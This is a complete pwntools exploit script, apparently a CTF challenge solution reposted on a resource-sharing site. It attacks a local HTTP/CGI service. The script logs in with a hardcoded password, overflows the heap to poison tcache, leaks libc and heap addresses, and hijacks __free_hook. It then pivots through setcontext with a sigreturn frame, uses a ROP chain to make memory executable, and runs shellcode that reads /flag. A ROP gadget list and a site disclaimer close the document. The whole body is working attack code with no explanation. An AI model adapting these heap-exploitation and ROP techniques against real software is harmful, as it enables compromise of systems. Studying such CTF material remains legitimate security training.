# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
    glibc_dir = '~/Exps/Glibc/glibc-2.35/'
    gdbscript = 'directory %smalloc/\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio/\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p, gdbscript)
    time.sleep(1)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])

p = remote('127.0.0.1',8087)
def login():
    package = '''POST /Login.cgi HTTP/1.1
\nUser-Agent:IceCreeeam
Data:Sup3rP@ssw0rd\n
'''.replace('\n','\r\n')
    sleep(0.3)
    sla('> ',package)

def add(id,data):
    package = '''POST /Panel.cgi HTTP/1.1
\nUser-Agent:IceCreeeam
Data:1#{}#{}\n
'''.replace('\n','\r\n').format(id,data)
    sleep(0.3)
    sla('> ',package)

def dele(id):
    package = '''POST /Panel.cgi HTTP/1.1
\nUser-Agent:IceCreeeam
Data:2#{}\n
'''.replace('\n','\r\n').format(id)
    sleep(0.3)
    sla('> ',package)

def show(id):
    package = '''POST /Panel.cgi HTTP/1.1
\nUser-Agent:IceCreeeam
Data:3#{}\n
'''.replace('\n','\r\n').format(id)
    sleep(0.3)
    sla('> ',package)

# Step 1: Login
login()

# Step 2: HeapOverflow -> Unsorted Chunk Overlap Tcache
for i in range(7):
    add(i,'chunk%d'%i)
add(7,'chunk7')
add(7,'chunk8')
add(7,'chunk9')
add(7,'chunk10')
add(7,'chunk11')
dele(0)
add(0,'u'*0x78+p64(0x80*9+1))
dele(1)

# Step 3: Leak libc,heap
add(1,'u')

show(1)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1e1075
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = ELF('./libc-2.33.so')
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
dele(1)
add(1,'u'*0x10)
show(1)
ru('u'*0x10)
heap_leak = uu64(rc(6))
heap_base = heap_leak - 0x420
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)


# Step 4: Hijack __free_hook -> gets,Overflow,Setcontext ROP -> ORW
dele(5)
dele(4)
dele(3)

add(3,'u'*0x80+p64((heap_base>>12)^(libc.sym.__free_hook)))
add(3,'u'*0x80+p64((heap_base>>12)^(libc.sym.__free_hook)))
add(4,p64(libc.sym.gets))

leave_ret = libc_base + 0x000000000005525c

magic = libc_base + 0x14a0a0 

fuck = SigreturnFrame()
fuck.rip = libc.sym.read
fuck.rdx = 0x300
fuck.rdi = 0
fuck.rsi = heap_base + 0x300
fuck.rsp = heap_base + 0x300
payload = flat(
    ['a'*0x80]+[0,heap_base+0x430,-1,-1,libc.sym.setcontext+61,str(fuck)[0x28:]]
)

sleep(1)
dele(0)
sl(payload)

sleep(2)
dele(4)
sl(p64(magic))

rdi = libc_base + 0x0000000000028a55
rsi = libc_base + 0x000000000002a4cf
rdx = libc_base + 0x00000000000c7f32
jmp_rsi = libc_base + 0x00000000000506b1
rop_chain = flat([
    rdi,heap_base,rsi,0x1000,rdx,7,libc.sym.mprotect,rdi,0,rsi,heap_base,rdx,0x200,libc.sym.read,jmp_rsi
])
dele(1)
sleep(2)
sl(rop_chain)

sleep(2)
sl(asm(shellcraft.pushstr('/flag')+shellcraft.syscall('0x101','0','rsp','0')+shellcraft.read('rax','rsp','0x50')+shellcraft.write('1','rsp','0x50')))

p.interactive()

'''
0x0000000000044c70 : pop rax ; ret
0x000000000002a334 : pop rax ; ret 0xffff
0x00000000000266e0 : pop rbp ; ret
0x000000000002682f : pop rbp ; ret 0x1b
0x000000000003418f : pop rbx ; ret
0x000000000008dd61 : pop rbx ; ret 0xffff
0x0000000000028a55 : pop rdi ; ret
0x00000000000c7f32 : pop rdx ; ret
0x000000000002a4cf : pop rsi ; ret
0x0000000000033af2 : pop rsp ; ret
0x0000000000026699 : ret
'''

原文地址:http://www.cnblogs.com/M0x1n/p/16905757.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性